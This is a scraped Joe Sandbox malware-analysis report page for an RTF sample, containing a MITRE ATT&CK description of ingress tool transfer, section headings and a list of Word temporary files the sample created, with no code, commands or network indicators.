Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DwocLrf8iK.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

Exploits

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{53164274-B390-45D6-A620-3E564C80F46E}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8AC03BC3-32E4-456F-86DF-3F70461983FF}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B1CD360A-A8A5-454D-A1AC-E4C35B1B92FE}.tmp

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\DwocLrf8iK.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

C:\Users\user\Desktop\~$ocLrf8iK.rtf

Static File Info

General

File Icon

Static RTF Info

Objects

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Windows Analysis Report
DwocLrf8iK.rtf